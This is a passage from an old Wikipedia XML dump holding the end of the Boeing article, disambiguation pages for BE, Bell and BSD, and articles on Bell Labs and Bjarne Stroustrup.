In June 2003 Lockheed Martin sued Boeing alleging the company had resorted to [[industrial espionage]] in 1998 to win the [[Evolved Expendable Launch Vehicle]] (EELV) competition. Lockheed alleged that a former employee; Kenneth Branch, who went to work for McDonnell Douglas and Boeing, passed 25,000 proprietary documents to his new employers. Lockheed argued that these documents allowed Boeing to win 21 of the 28 tendered military satellite launches.

In July 2003 Boeing was penalized, with the Pentagon stripping $1 billion worth of contracts away from the company and awarding them to Lockheed. Furthermore,  the company was forbidden to bid for rocket contracts for a 20 month period which expired in March 2005. 

In early September 2005 it was reported that Boeing was negotiating a settlement with the U.S. Department of Justice in which it would pay up to $500 million to cover this and the Darleen Druyun scandal. [http://www.bizjournals.com/stlouis/stories/2005/09/05/daily53.html?from_rss=1]

=== Airbus subsidy dispute ===
In October 2004, Boeing filed a complaint at the [[World Trade Organization]], claiming that Airbus had violated a 1992 bilateral accord when it received what Boeing deems as &quot;unfair&quot; subsidies from several European governments. Airbus retaliated by filing another complaint, contesting that Boeing had also violated the accord when it received tax breaks from the U.S. Government. Moreover, the E.U. also complained that the investment subsidies from Japanese airlines violated the accord.

On [[January 11]], the two parties (Boeing and Airbus) agreed that they would attempt to find a solution to the dispute outside of the WTO.

However, in June 2005, Boeing and the United States government reopened the trade dispute with the WTO, claiming that Airbus had received illegal subsidies from European governments. Airbus has also retaliated against Boeing, reopening the dispute and also accusing Boeing of receiving subsidies from the US government.

=== Product developments ===
[[Image:Airbus-Boeing_net_orders_2002-2005.jpg|right|thumb|350px|Airbus-Boeing competition: Plane net orders 2002-2005]]
Finally, Boeing achieved several consecutive successes, beginning with the formal launch of the 787 for delivery to [[All Nippon Airways]] and [[Air New Zealand]]. Currently, the 787 orderbook stands at over 315 airframes with orders from [[Northwest Airlines]], [[Continental Airlines]], [[Japan Airlines]], [[Qantas]], [[Icelandair]], [[Air Canada]] and a conglomeration of Chinese carriers.

Boeing also received the launch contract from the [[US Navy]] for the [[Multimission Maritime Aircraft]], an [[anti-submarine warfare]] patrol aircraft. Several orders for the [[Boeing Wedgetail|Wedgetail]] AEW&amp;C aircraft are expected as well.

In November 2004, Boeing announced it will offer a cargo version of the popular 777 model. The freighter will be based on the 777-200LR. Customers rumored to be interested include [[Lufthansa]], [[EVA Airways]], [[ILFC]], [[GECAS]], [[Air Canada]] and [[Emirates]].

Boeing has achieved above projected orders for its 787 Dreamliner, outselling the rival [[Airbus A350]].  A large blow to Airbus came as Emirates Airlines president Tim Clark stated that his airline must be convinced that the 250 to 290-seat A350 would not repeat the &quot;misses&quot; by Airbus in performance and delivery.  Emirates has held off ordering either aircraft as it tries to convince Boeing to build a larger version of the 787, the 787-10 - which is the airline's preferred option.  Air Canada also dealt Airbus a savage blow by replacing its entire A330 and A340 fleet with 96 Boeing 777s and 787s.

Boeing officially announced in November, 2005 that it would produce a larger version of the 747, the 747-8, in two models, commencing with a model for two cargo carriers with firm orders for the aircraft.  The second model, slightly shorter than the cargo version but still longer than the 747-400, dubbed the Intercontinental, would be produced for passenger airlines that Boeing expected would place orders in the near future.  Both models of the 747-8 would feature a lengthened fuselage, new, advanced engines and wings, and the incorporation of other technologies developed for the 787.

Boeing's most successful new aircraft measured by recent orders remained the [[Boeing 737|737]], for which it received orders totaling 387 new units in 2005 as reported on [[August 7]]. The 737-900ER is the latest version of the venerable craft offered by Boeing and is the largest model of the 737 line at a length of 138 feet.

The 777-200LR Worldliner embarked on a well-received global demonstration tour in the second half of 2005, showing off its capacity to fly farther than any other commercial aircraft. On [[November 10]] [[2005]], the 777-200LR set a world record for the longest non-stop flight. The plane, which departed from Hong Kong traveling to London, took a longer route, which included flying over the U.S. It flew 11,664 nautical miles (21,601km) during its 22-hour 42-minute flight.

Realizing that increasing numbers of passengers have become reliant on their computers to stay in touch, Boeing is offering Connexion by Boeing, an Internet connectivity service that promises air travelers unprecedented access to the World Wide Web.  The company debuted the product to journalists in 2005, receiving generally favorable reviews.

==Divisions==
&lt;!-- Note: When you add entries here, please add them to the subpage for the appropriate division, as well. -[[User:N328KF]] --&gt;
The two largest divisions are Boeing Commercial Airplanes and the Integrated Defense Systems group.

* [[AviationPartnersBoeing]], a 50/50 joint venture with [[Aviation Partners, Inc.]]
* [[Boeing Australia, Ltd.]]
* [[Boeing Capital]]
* [[Boeing Commercial Airplanes]]
** [[Aeroinfo Systems]]
** [[Airspace Safety Analysis Corporation]]
** [[Alteon Training]], formerly FlightSafetyBoeing
** [[Continental Datagraphics]]
** [[Jeppesen]], formerly Jeppesen Sanderson.
** [[SBS International]]
* [[Boeing Integrated Defense Systems]]
** [[Boeing Phantom Works|Phantom Works]]
** [[United Launch Alliance]] (with [[Lockheed Martin]], subject to US Government approval as of 01/2006)
** [[United Space Alliance]] (with Lockheed Martin)
** [[Boeing Satellite Systems]]
** [[Sea Launch]] (40%)
* [[Boeing Realty]]
* [[Boeing Shared Services Group]]
* [[Boeing Travel Management Company]]
* [[Connexion by Boeing]]
* [[Preston Aviation Solutions]]

== Employment Numbers ==
===Employment By Location===
{| class=&quot;wikitable&quot;
!colspan=&quot;2&quot;|Employment By Location
|-
|[[Arizona]]
|style=&quot;text-align: right;&quot;|4,939
|-
|[[California]]
|style=&quot;text-align: right;&quot;|31,457
|-
|[[Kansas]]
|style=&quot;text-align: right;&quot;|3,836
|-
|[[Missouri]]
|style=&quot;text-align: right;&quot;|16,429
|-
|[[Pennsylvania]]
|style=&quot;text-align: right;&quot;|4,706
|-
|[[Texas]]
|style=&quot;text-align: right;&quot;|5,376
|-
|[[Washington]]
|style=&quot;text-align: right;&quot;|61,042
|-
|Other Locations
|style=&quot;text-align: right;&quot;|24,955
|-
|'''Total Company'''
|style=&quot;text-align: right;&quot;|'''152,740'''
|}

As of 10/06/2005

===Employment by Group (Division)===
{| class=&quot;wikitable&quot; 
!colspan=&quot;2&quot;|Employment By Group (Division)
|-
|[[Boeing Commercial Airplanes|Commercial Airplanes]]
|style=&quot;text-align: right;&quot;|48,956
|-
|[[Boeing Capital|Boeing Capital Corp]]
|style=&quot;text-align: right;&quot;|131
|-
|[[Connexion by Boeing]]
|style=&quot;text-align: right;&quot;|753
|-
|[[Boeing Integrated Defense Systems|Integrated Defense Systems]]
|style=&quot;text-align: right;&quot;|75,531
|-
|[[Boeing Phantom Works|Phantom Works]]
|style=&quot;text-align: right;&quot;|4,409
|-
|[[Boeing Shared Services Group|Shared Services Group]]
|style=&quot;text-align: right;&quot;|21,020
|-
|World Headquarters
|style=&quot;text-align: right;&quot;|1,928
|-
|Other
|style=&quot;text-align: right;&quot;|12
|-
|'''Total Company'''
|style=&quot;text-align: right;&quot;|'''152,740'''
|}

As of 10/06/2005

==Corporate governance==
===Current [[Board of Directors]] ===
*[[W. James McNerney, Jr.]] - Chairman, President &amp; CEO
*[[John H. Biggs]]
*[[John Bryson]]
*[[Linda Cook]]
*[[Kenneth M. Duberstein]]
*[[John McDonnell (businessman)|John McDonnell]]
*[[Richard Nanula]]
*[[Rozanne Ridgway]]
*[[John Shalikashvili]]
*[[Mike S. Zafirovski]]

===[[Chief executive officer]]===
{|
| 1933&amp;ndash;1939 || Clairmont L. Egtvedt 
|-
| 1939&amp;ndash;1944 || Philip G. Johnson
|-
| 1944&amp;ndash;1945 || Clairmont L. Egtvedt 
|-
| 1945&amp;ndash;1968 || [[William McPherson Allen|William M. Allen]]
|-
| 1969&amp;ndash;1986 || [[Thornton Wilson|Thornton &quot;T&quot; A. Wilson]]
|-
| 1986&amp;ndash;1996 || Frank Shrontz 
|-
| 1996&amp;ndash;2003 || [[Philip M. Condit]]
|-
| 2003&amp;ndash;2005 || [[Harry Stonecipher|Harry C. Stonecipher]]
|-
| 2005&amp;ndash;2005 || [[James A. Bell]] (acting)
|-
| 2005&amp;ndash; || [[W. James McNerney, Jr.]]
|}

===[[Chairman of the board]]===
{|
| 1916&amp;ndash;1934 || [[William Boeing|William E. Boeing]]
|-
| 1934&amp;ndash;1939 || Clairmont L. Egtvedt (acting)
|-
| 1939&amp;ndash;1944 || Clairmont L. Egtvedt
|-
| 1945&amp;ndash;1966 || Clairmont L. Egtvedt
|-
| 1968&amp;ndash;1972 || William M. Allen
|-
| 1972&amp;ndash;1987 || Thornton &quot;T&quot; A. Wilson 
|-
| 1988&amp;ndash;1996 || Frank Shrontz 
|-
| 1997&amp;ndash;2003 || Philip M. Condit
|-
| 2003&amp;ndash;2005 || Lew Platt
|-
| 2005&amp;ndash; || W. James McNerney, Jr.
|}

===[[President]]===
{|
| 1922&amp;ndash;1925 || Edgar N. Gott
|-
| 1926&amp;ndash;1933 || Philip G. Johnson
|-
| 1933&amp;ndash;1939 || Clairmont L. Egtvedt 
|-
| 1939&amp;ndash;1944 || Philip G. Johnson
|-
| 1944&amp;ndash;1945 || Clairmont L. Egtvedt
|-
| 1945&amp;ndash;1968 || William M. Allen 
|-
| 1968&amp;ndash;1972 || Thornton &quot;T&quot; A. Wilson
|-
| 1972&amp;ndash;1985 || Malcolm T. Stamper
|-
| 1985&amp;ndash;1996 || Frank Shrontz
|-
| 1996&amp;ndash;1997 || Philip M. Condit
|-
| 1997&amp;ndash;2005 || Harry C. Stonecipher
|-
| 2005&amp;ndash;2005 || James A. Bell (acting for a few months)
|-
| 2005&amp;ndash; || W. James McNerney, Jr.
|}

==See also==
* [[Airbus]]
* [[Arianespace]]
* [[Boeing Aircraft Holding Company]]
* [[Lockheed Martin]]
* [[Northrop Grumman]]
* [[Phillip G. Johnson]]

==References==
*Greider, William (1997). ''One World, Ready or Not''. Penguin Press. ISBN 0-713-99211-5.
#[http://www.defensenews.com/content/features/2005chart1.html www.defensenews.com]

==External links==
{{commons|Category:Boeing}}
*[http://www.boeing.com/ The Boeing Company]
**[http://www.boeing.com/commercial/orders/ Boeing order sheet, year-to-date]
*[http://www.generalatomic.com/jetmakers/chapter7.html Boeing's Triumph: The American Jetliner]
*[http://biz.yahoo.com/ic/10/10221.html Yahoo! - The Boeing Company Company Profile]
*[http://www.buffalo.edu/reporter/vol35/vol35n40/articles/Boeing.html Boeing and WTO]
*[http://news.bbc.co.uk/2/hi/business/3722888.stm BBC]
*[http://www.generalatomic.com/jetmakers/chapter7.html Boeing's Triumph: The American Jetliner]

{{airlistbox}}

[[Category:Aviation]]
[[Category:Boeing|*]]
[[Category:Aerospace companies]]
[[Category:Companies based in Washington]]
[[Category:Defense companies of the United States]]
[[Category:International aircraft manufacturers]]

[[af:Boeing]]
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    </revision>
  </page>
  <page>
    <title>BE</title>
    <id>3710</id>
    <revision>
      <id>39342299</id>
      <timestamp>2006-02-12T14:19:58Z</timestamp>
      <contributor>
        <username>Thorpe</username>
        <id>164156</id>
      </contributor>
      <comment>fix redirect</comment>
      <text xml:space="preserve">'''BE''' (''B.E.'' or ''Be'' or ''be'') may stand for: {{Wiktionarypar|be}}

*The verb ''to be'', see [[Indo-European copula]].
*[[Bachelor of Engineering]] (B.E.)
*[[BE (album)]], an album by Swedish band Pain of Salvation.
*[[Be (album)]], an album by rapper Common.
*[[Be (band)]], a band that existed in 1997.
*The Buddhist Era of the [[Thai solar calendar]]
In '''linguistics''':
*[[Be (Cyrillic)]], a letter of the Cyrillic alphabet.
*[[British English]]
*''Black English'', see [[African American Vernacular English]].
*[[Belarusian language]], ISO 639 alpha-2 code.
In '''science''':
*[[Beryllium]] (Be), a chemical element.
*[[Bejan number]], used in thermodynamics or fluid mechanics.
*[[bladder exstrophy]], the congenital urological condition.
The '''companies''':
*[[Be Unlimited]], an ISP in the United Kingdom
*[[Be Incorporated]], the software company that developed the [[BeOS|BeOS operating system]]
*[[Beriev]] (Be), the Russian design bureau.
*[[flybe]], IATA code for the U.K.-based airline.
'''Places''':
*[[Belgium]], the ISO and obsolete NATO 2-letter country code
*[[Canton of Berne]], canton of Switzerland


'''''See also: [[.be]]''' (the ccTLD for Belgium).''

{{2LCdisambig}}

[[ca:Be]]
[[de:BE]]
[[eo:Be]]
[[fr:BE]]
[[ko:BE]]
[[it:Be]]
[[ja:BE]]
[[pl:Be]]
[[sq:BE]]
[[fi:Be]]
[[sv:BE]]
[[vi:BE]]</text>
    </revision>
  </page>
  <page>
    <title>Bell</title>
    <id>3711</id>
    <revision>
      <id>41186067</id>
      <timestamp>2006-02-25T17:09:17Z</timestamp>
      <contributor>
        <ip>201.133.64.113</ip>
      </contributor>
      <text xml:space="preserve">{{wiktionarypar2|bell|Bell}}
{{TOCright}}
'''Bell''' may refer to:

==Sound-making devices==
* [[Bell (instrument)]], a simple sound-making device
** [[Altar bell]], a bell rung during the Catholic Mass
** [[Church bell]], a bell hanging in a church tower
** [[Handbell]], a handheld bell, often designed to be rung in tuned sets
** [[School bell]], a bell that signals transitions during a school day
** [[Ship's bells]], bells which mark time on a ship
** [[Slave bell]], used to regulate [[slavery]]
** [[Tubular bell]], a chime
** Electronic bell, such as a [[doorbell]] or [[buzzer]]
** Orchestra bell, better known as [[Glockenspiel]]
* [[Bell character]], a character that produces an audible signal at a terminal
* [[Bell effect]], a musical technique similar to an arpeggio

==Bell-shaped items==
* [[Diving bell]], a hollow inverted vessel for diving below water
* [[Bell (wind)]], the round, flared opening of a [[wind instrument]] opposite the mouthpiece
* The ''bell'' of a flower is properly called the [[corolla]]
* [[Normal distribution|Bell curve]], illustrates ''normal distribution'' in statistics
** [[Bell curve grading]], a use of the bell curve in comparing student achievement
* [[Bell barrow]], a burial mound
* [[Bell beaker]], prehistoric pottery
* [[Bell bottoms]], a style of trousers
* [[Bell housing]], part of an automotive transmission
* [[Bell pit]], a type of coal mine
* [[Bell (fictional currency)]], a fictional currency in several Nintendo video games.
* [[The Bell]], a supposed [[anti-gravity]] experiment by [[Nazi]] scientists ([http://www.salon.com/books/review/2002/08/05/zero_gravity/index.html], [http://www.gaiaguys.net/NAZI.disks.htm])
* Bells (currency in the video game [[Animal Crossing]])
==Bell Telephone System==
* [[Alexander Graham Bell]], telephony inventor
* [[Bell System]], North America's telephone system from the 1880s to the 1980s
* [[Regional Bell operating company]], sometimes known as &quot;Baby Bells&quot;
** [[Bell Canada]]
** [[BellSouth]] 
** [[Cincinnati Bell]]
* [[Bell Labs]], a research &amp; development laboratory
* [[The Bell Telephone Hour]], a television show
* [[Bell (typeface)]], a typeface developed for use in phone books

==Companies==
* [[Bell &amp; Howell]], a camera and film company
* [[Bell Aircraft Corporation]], later [[Bell Helicopter Textron]]
* [[Bell Records]], one of four record labels
* [[Bell Shakespeare Company]], Australian theatre company
* [[Bell Sports]], a maker of [[bicycle helmet]]s
* [[Packard Bell]], a defense contractor and manufacturer of other consumer electronics 
* [[The Bell Tea Company]], New Zealand tea packer
* [[Taco Bell]], a fast food company

==Places==
A '''city or town''':
* [[Bell, California]]
* [[Bell, Florida]]
* [[Bell, New South Wales]]
* [[Bell, Queensland]]
* [[Bell Acres, Pennsylvania]]
* [[Bell Buckle, Tennessee]]
* [[Bell Center, Wisconsin]]
* [[Bell City, Missouri]]
* [[Bell Gardens, California]]
* [[Bell Hill, Washington]]
* [[Bell Island]], off the coast of Newfoundland
* [[Bell Park, Victoria]]
* [[Bell Township, Pennsylvania]]
* [[Bells Corners, Ontario]]
* [[Bellville]], [[Cape Town]], [[South Africa]] named after [[Charles Bell]]
A '''county''':
* [[Bell County, Kentucky]] 
* [[Bell County, Texas]]
'''Other''':
* [[Bell railway station, Melbourne]]
* [[Bell (crater)]], a crater on Earth's moon
* [[Bell High School]], one of several schools
* [[Bell Centre]], a stadium in Montreal
* [[USS Bell|USS ''Bell'']], one of two ships in the United States Navy

==Animals and plants==
* [[Bellbird]]
* [[Bell Miner]]
* [[Bell pepper]]
* [[Diving bell spider]]
* In [[jellyfish]], the bell is the umbrella-shaped, non-stinging part of [[medusa (biology)|medusas]].

==Others==

* [[Bell number|Bell numbers (mathematics)]]

==See also==
* [[List of people by name: Bel#People named Bell|List of people by name: Bell]]
* [[Bel]]
* [[Belle]]

{{disambig}}

[[de:Glocke (Begriffsklärung)]]
[[fr:Bell]]
[[ko:벨]]
[[nl:Klok]]
[[nds:Klock]]
[[ja:ベル]]
[[pl:Dzwon]]
[[ru:Белл]]
[[sv:Bell]]</text>
    </revision>
  </page>
  <page>
    <title>Bell Labs</title>
    <id>3712</id>
    <revision>
      <id>42100152</id>
      <timestamp>2006-03-03T20:58:04Z</timestamp>
      <contributor>
        <ip>24.106.55.130</ip>
      </contributor>
      <text xml:space="preserve">{{cleanup-date|September 2005}}
{{Infobox_Company |
  company_name   = Bell Telephone Laboratories, Inc. |
  company_logo   = [[Image:Belllabs96.gif|200px]] |
  company_type   = Holding of [[Lucent Technologies]]|
  company_slogan = |
  foundation     = [[1925]]|
  location       = [[Murray Hill, New Jersey]], [[USA]]|
  key_people     = |
  industry       = [[Telecommunications|Telecom Research]]|
  num_employees  = |
  products       = |
  revenue        = |
  homepage       = [http://www.bell-labs.com/ www.bell-labs.com]
}}
'''Bell Telephone Laboratories Inc.''', also known as '''Bell Labs''' and '''AT&amp;T Bell Laboratories''', was the [[Research and development|research and development]] arm of the [[United States|US]] [[Bell System]]. 

At its peak, Bell Labs was the premier facility of its type, developing a range of revolutionary technologies including the [[transistor]], [[Laser]], and the [[UNIX]] operating system. Bell Labs had research and development facilities throughout the [[USA]], with the greatest concentration of facilities located in [[New Jersey]]. Among the locations in New Jersey were  [[Crawford Hill, New Jersey|Crawford Hill]], [[Freehold, New Jersey|Freehold]], [[Holmdel, New Jersey|Holmdel]], [[Lincroft, New Jersey|Lincroft]], [[Long Branch, New Jersey|Long Branch]], [[Middletown, New Jersey|Middletown]], [[Murray Hill, New Jersey|Murray Hill]], [[Piscataway, New Jersey|Piscataway]], [[Red Bank, New Jersey|Red Bank]] and [[Whippany, New Jersey|Whippany]]. The largest facility in the country was at [[Naperville]]-[[Lisle, Illinois|Lisle]], which had the single largest concentration of employees (about 11,000) prior to the telecomm bust of 2000. There were also facilities in [[Columbus, Ohio|Columbus]], Ohio, [[Allentown, Pennsylvania|Allentown]] and [[Breinigsville, Pennsylvania|Breinigsville]] in Pennsylvania, and [[Westminster, Colorado|Westminster]], Colorado. Since 2000, many of the former Bell Labs locations have been scaled back or shut down entirely.

There have been 6 [[Nobel Prize|Nobel Prizes]] awarded for work done at Bell Labs [http://www.bell-labs.com/about/awards.html#nobel].

== Timeline ==
The timeline of achievement at Bell Labs continued at a breathtaking pace since its inception since their inception in 1925.

*1925: [[Walter Gifford]], then president of [[AT&amp;T]], established Bell Telephone Laboratories Inc as a separate entity which took over work previously conducted by the research division of [[Western Electric]]'s engineering department. Half of Bell Labs was owned by Western Electric, the other half being owned by AT&amp;T.
*1926: first [[synchronous-sound motion picture]] system [http://www.britannica.com/eb/article-9015241].
*1925: [[Facsimile]] (fax) transmission first demonstrated publicly.
*1927: Long-distance [[television]] transmission, of images of [[Herbert Hoover]], from Washington to New York.
*1928: [[Thermal noise]] in a resistor is measured by [[J.B. Johnson]]; [[Harry Nyquist]] provides a theoretical analysis.
*1920s: The [[one-time pad]] [[cipher]] invented by [[Gilbert Vernam]] and [[Joseph Mauborgne]]; Bell's Claude Shannon later proved that it was unbreakable.
*1933:  Foundation of [[radio astronomy]] laid by [[Karl Jansky]]; in his work investigating the origins of static on long distance communications, he discovered that [[radio]] waves were being emitted from the centre of the [[galaxy]].
*1933: [[Stereophonic sound|Stereo signals]] transmitted live from Philadelphia to Washington D.C.
*1937: The [[vocoder]], the first electronic [[speech synthesizer]], invented and demonstrated by [[Homer Dudley]].
*1937: Electrical relay digital computer [http://www.britannica.com/eb/article-9015241]
*1937: Bell researcher [[Clinton Davisson]] shares the Nobel Prize in Physics with [[George Paget Thomson]] for the discovery of electron diffraction, which helps lay the foundation for solid-state electronics.
*1940: The [[photovoltaic cell]] developed by [[Russell Ohl]].
*1947: The [[transistor]] is invented by [[John Bardeen]], [[William Bradford Shockley]], and [[Walter Houser Brattain]], all of whom subsequently won the [[Nobel Prize]] in Physics in 1956.
*1948:  &quot;[[A Mathematical Theory of Communication]]&quot;, one of the founding works in [[information theory]], published by [[Claude Shannon]] in the ''[[Bell System Technical Journal]]''; it built in part on earlier work in the field by Bell researchers [[Harry Nyquist]] and [[Ralph Hartley]].
*1949: First remote operation of a [[teleprinter]], controlled in New Hampshire by a computer at Bell Labs in New York City.
*1956: [[TAT-1]], the first [[transatlantic telephone cable]] laid between Scotland and Newfoundland.
*1957: [[MUSIC-N|MUSIC]], one of the first computer programs to play [[electronic music]], created by [[Max Mathews]]; New [[greedy algorithm]]s developed by [[Robert C. Prim]] and [[Joseph Kruskal]], revolutionizing network design.
*1958: The [[laser]] is first described in a technical paper by [[Arthur Schawlow]] and [[Charles Townes]].
*1962: [[Light-emitting diode]]s (LEDs) invented by [[Nick Holonyak]].
*1964: [[Carbon dioxide laser]] invented by [[Kumar Patel]].
*1965: Penzias and Wilson discovered the [[Cosmic Microwave Background]] (Nobel Prize 1978).
*1966: [[Orthogonal frequency-division multiplexing]] (OFDM), a key technology in wireless services, developed and patented by [[R. W. Chang]].
*1968: [[Molecular beam epitaxy]] developed by [[J.R. Arthur]] and [[A.Y. Cho]]; allows semiconductor chips and laser matrices to be created one atomic layer at a time.
[[Image:Wisdombell.jpg|thumb|Bell Labs logo, 1969-1983]]
*1969: [[Unix|UNIX]] operating system is created by [[Dennis Ritchie]] and [[Ken Thompson]] .
*1969: The [[Charge-coupled device]] (CCD) is invented by [[Willard Boyle]] and [[George E. Smith]].
*1970: [[C programming language]] developed by Ritchie &amp; Thompson.
*1971: A computerized [[telephone exchange|switching system]] for telephone traffic, invented by [[Erna Schneider Hoover]], receives one of the first [[software patent]]s.
*1976: [[Fiber optic]]s systems first tested in Georgia.
*1980: First single-chip [[32-bit]] [[microprocessor]], the BELLMAC-32A, is demonstrated; it goes into production in 1982.
*1980: [[TDMA]] and [[CDMA]] digital cellular telephone technology patented.
*1982: [[Fractional quantum Hall effect]] discovered by [[Horst Ludwig Störmer|Horst Störmer]] and former Bell Labs researchers [[Robert B. Laughlin]] and [[Daniel C. Tsui]]; they won a Nobel Prize for it in 1998.
*1983: The [[C++]] programming language is developed by [[Bjarne Stroustrup]].
*1984: [[Karmarkar's algorithm|Karmarkar Linear Programming Algorithm]] developed by mathematician [[Narendra Karmarkar]].

In the mid-1980's external forces began to conspire against the Bell Labs system; meanwhile, the pace of innovation continued as before:

*1984: [[Modification of Final Judgment|A Divestiture agreement]] with the Federal government results in the break-up AT&amp;T: [[Bellcore]] is split off from Bell Labs to provide the same R&amp;D functions for the newly created [[local exchange carrier]]s. [[AT&amp;T]] is also limited to using the Bell trademark in association with Bell Labs.
*1985: [[Laser cooling]] used to slow and manipulate atoms by [[Steven Chu]] and team.
*1980s: [[Plan 9 (operating system)|Plan 9 operating system]] is devloped as a replacement for [[Unix]].
*1980s: Development of the [[Radiodrum]], a three dimensional electronic instrument.
*1988: [[TAT-8]] is the first fiber optic transatlantic cable.
*1990: [[WaveLAN]] is the first wireless [[local area network]] (LAN).
*1991: 56K [[modem]] technology patented by [[Nuri Dagdeviren]] and team.
*1994: [[Quantum cascade laser]] invented by [[Federico Capasso]], [[Claire Gmachl]] and team.
*1995: [[Wireless internet]] access first demonstrated.
*1996: [[SCALPEL]] [[electron lithography]], which prints features atoms wide on microchips, invented by [[Lloyd Harriott]] and team.
*1996: The [[Inferno (operating system)|Inferno operating system]], an update of Plan 9, is created by Dennis Ritchie and team using the new [[concurrent programming language|concurrent]] [[Limbo programming language]].
*1996: AT&amp;T spins off Bell Labs, along with most of its equipment-manufacturing business, into a new company named [[Lucent Technologies]]. AT&amp;T retains a smaller number of researchers to form [[AT&amp;T Laboratories]].
*1997: Smallest practical transistor created, 60 [[nanometer]]s or 182 atoms wide.
*1998: First [[optical router]].
*1998: First combination of voice and data traffic on an [[Internet Protocol]] (IP) network.
*2000: [[DNA machine]] prototypes developed.
*2000: [[Progressive geometry compression algorithm]] makes widespread 3-D communication practical.
*2000: First electrically powered [[organic laser]].
*2000: Large-scale map of cosmic [[dark matter]] provided.
*2000: [[F-15 (material)|F-15]], an organic material that makes [[plastic transistor]]s possible, invented.
*2002: [[Jan Hendrik Schön]], a [[Germany|German]] [[physicist]], is fired after his work is found to contain fraudulent data; it is the first case of fraud in the lab's history. Over a dozen of Schön's papers are found to contain fictional or altered data, including a paper on molecular-scale transistors that was portrayed as a breakthrough. 
*2002: World's first semiconductor laser that emits light continuously and reliably over a broad spectrum of infrared wavelengths. 
*2003: New Jersey Nanotechnology Laboratory (successor to Bell Laboratories) at [[Murray Hill, New Jersey]].

[[Image:Image135.gif|thumb|Bell Labs logo, 1984-1995]] 
==Calculators built by Bell Labs==
* Model I - [[Complex Number Calculator]], completed January 1940, for doing calculations of [[complex numbers]]
* Model II - [[Relay Calculator]] or [[Relay Interpolator]], September 1943, for aiming anti-aircraft guns by interpolating from positions
* Model III - [[Ballistic Computer]], June 1944, for calculations of ballistic trajectories
* Model IV - [[Bell Laboratories Relay Calculator]], March 1945, a second Ballistic Computer
* Model V - [[Bell Laboratories General Purpose Relay Calculator]], two were built: July 1946 and February 1947.  These were general-purpose programmable computers using electromechanical relays.
* Model VI - November 1950, an enhanced Model V.

==See also==
*[[Lucent Technologies]]
*[[Worse is Better]]

==External links==
*[http://www.bell-labs.com/ Bell Labs]
*[http://www.bell-labs.com/about/history/timeline.html Timeline of discoveries as of 2004]
*[http://www.bell-labs.com/org/1133/Research/Acoustics/AnechoicChamber.html Bell Labs' Murray Hill anechoic chamber]
*[http://maps.google.com/maps?ll=40.683404,-74.400744&amp;spn=0.004066,0.006605&amp;t=k&amp;hl=en Google maps satellite view of the Murray Hill Facility]


[[Category:Bell System]]
[[Category:Telecommunications history]]

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  </page>
  <page>
    <title>Bjarne Stroustrup</title>
    <id>3713</id>
    <revision>
      <id>42068189</id>
      <timestamp>2006-03-03T16:23:07Z</timestamp>
      <contributor>
        <username>MarSch</username>
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      <comment>replace ancient interview with link to list of interview on bjarne's homepage</comment>
      <text xml:space="preserve">[[Image:BjarneStroustrup.jpg|right|thumb|250px|Bjarne Stroustrup]]

'''Bjarne Stroustrup''' (born [[December 30]], [[1950]] in [[Aarhus]], [[Denmark]]) is a [[computer scientist]] and the [[engineering|College of Engineering]] [[professor|Chair Professor]] of [[Computer science|Computer Science]] at [[Texas A&amp;M University]]. He is most notable for developing the [[C++]] [[programming language]].  A rough English attempt at pronunciation of his name would be &quot;B-yar-ne Strov-stroop&quot;.

Stroustrup, in his own words, &quot;invented C++, wrote its early definitions, and produced its first implementation... chose and formulated the design criteria for C++, designed all its major facilities, and was responsible for the processing of extension proposals in the C++ standards committee.&quot; Stroustrup also wrote what many consider to be the standard text for the language, ''[http://public.research.att.com/~bs/3rd.html The C++ Programming Language]'', which is now in its third edition. The text has been revised twice to reflect the evolution of the language and the work of the C++ standards committee.

Stroustrup is ''cand. scient.'' (the Danish equivalent to a [[master's degree]]) in [[mathematics]] and [[computer science]] ([[1975]]) from the [[University of Aarhus]], Denmark, and [[Doctor of Philosophy|Ph.D.]] in computer science ([[1979]]) from the [[University of Cambridge|University of Cambridge]], [[England]]. He formerly worked as the head of [[Bell Labs|AT&amp;T Lab]]'s Large-scale Programming Research department, from its creation until late [[2002]].  He currently works at [[Texas A&amp;M University]] as Professor and holder of the College of Engineering Chair in [[Computer Science]].

*[[2004]] - IEEE Computer Society 2004 [[Computer Entrepreneur Award]]

==Books==
* ''[[The C++ Programming Language]]'' by Bjarne Stroustrup - Addison-Wesley Pub Co; 3rd edition (February 15, 2000); ISBN 0201700735
* ''[[The Design and Evolution of C++]]'' by Bjarne Stroustrup - Addison-Wesley Pub Co; 1st edition (March 29, 1994); ISBN 0201543303
* ''[[The Annotated C++ Reference Manual]]'' by Margaret A. Ellis &amp; Bjarne Stroustrup - Addison-Wesley Pub Co; (January 1, 1990); ISBN 0201514591

==External links==	 
{{wikiquote}}	 
* [http://www.research.att.com/~bs/homepage.html Bjarne Stroustrup's homepage]	 
* [http://www.att.com/attlabs/other/stroustrup_sm.mov Meet Bjarne Stroustrup (Video)]	 
* [http://public.research.att.com/~bs/interviews.html List of interviews with Bjarne Stroustrup]	 
* [http://artlung.com/smorgasborg/Invention_of_Cplusplus.shtml Hoax interview transcript with IEEE's &lt;i&gt;Computer&lt;/i&gt; magazine that is gaining popularity but should be noted as a hoax.]	 
		 
[[Category:1950 births|Stroustrup, Bjarne]]
[[Category:Living people|Stroustrup, Bjarne]]	 
[[Category:C++|Stroustrup, Bjarne]]
[[Category:Danish computer scientists|Stroustrup, Bjarne]]
[[Category:Fellows of the ACM|Stroustrup, Bjarne]]

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  </page>
  <page>
    <title>BSD (disambiguation)</title>
    <id>3714</id>
    <revision>
      <id>37296013</id>
      <timestamp>2006-01-30T01:59:15Z</timestamp>
      <contributor>
        <username>Genesis</username>
        <id>72450</id>
      </contributor>
      <minor />
      <comment>[[WP:AWB|AWB assisted]] avoid redirect</comment>
      <text xml:space="preserve">'''BSD''' can refer to any of the following acronyms:

*[[Berkeley Software Distribution]], a [[free software|free]] [[Unix|Unix-like]] [[operating system]], and the [[BSD license]].
*[[Birsa Seva Dal]], a political group in [[India]].
*[[Blue Screen of Death]], a computer [[jargon]] phrase related to [[Microsoft Windows]].
*[[Black Spiral Dancer]]s, a Tribe of evil-aligned werewolves in the [[White Wolf]] produced role-playing game [[Werewolf: The Apocalypse]].
*[[Bermuda Shorts Day]], a party at [[University of Calgary]] to celebrate end of classes.
*[[Bellevue School District]], the school district of Bellevue, WA.
*[[Big Swinging Dick]], term of praise  for a particularly brash [[financier]] popularized by [[Michael Lewis]]'s [[Liar's Poker]].

{{TLAdisambig}}

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    </revision>
  </page>
  <page>
    <title>Berkeley</title>
    <id>3715</id>
    <revision>
      <id>36266931</id>
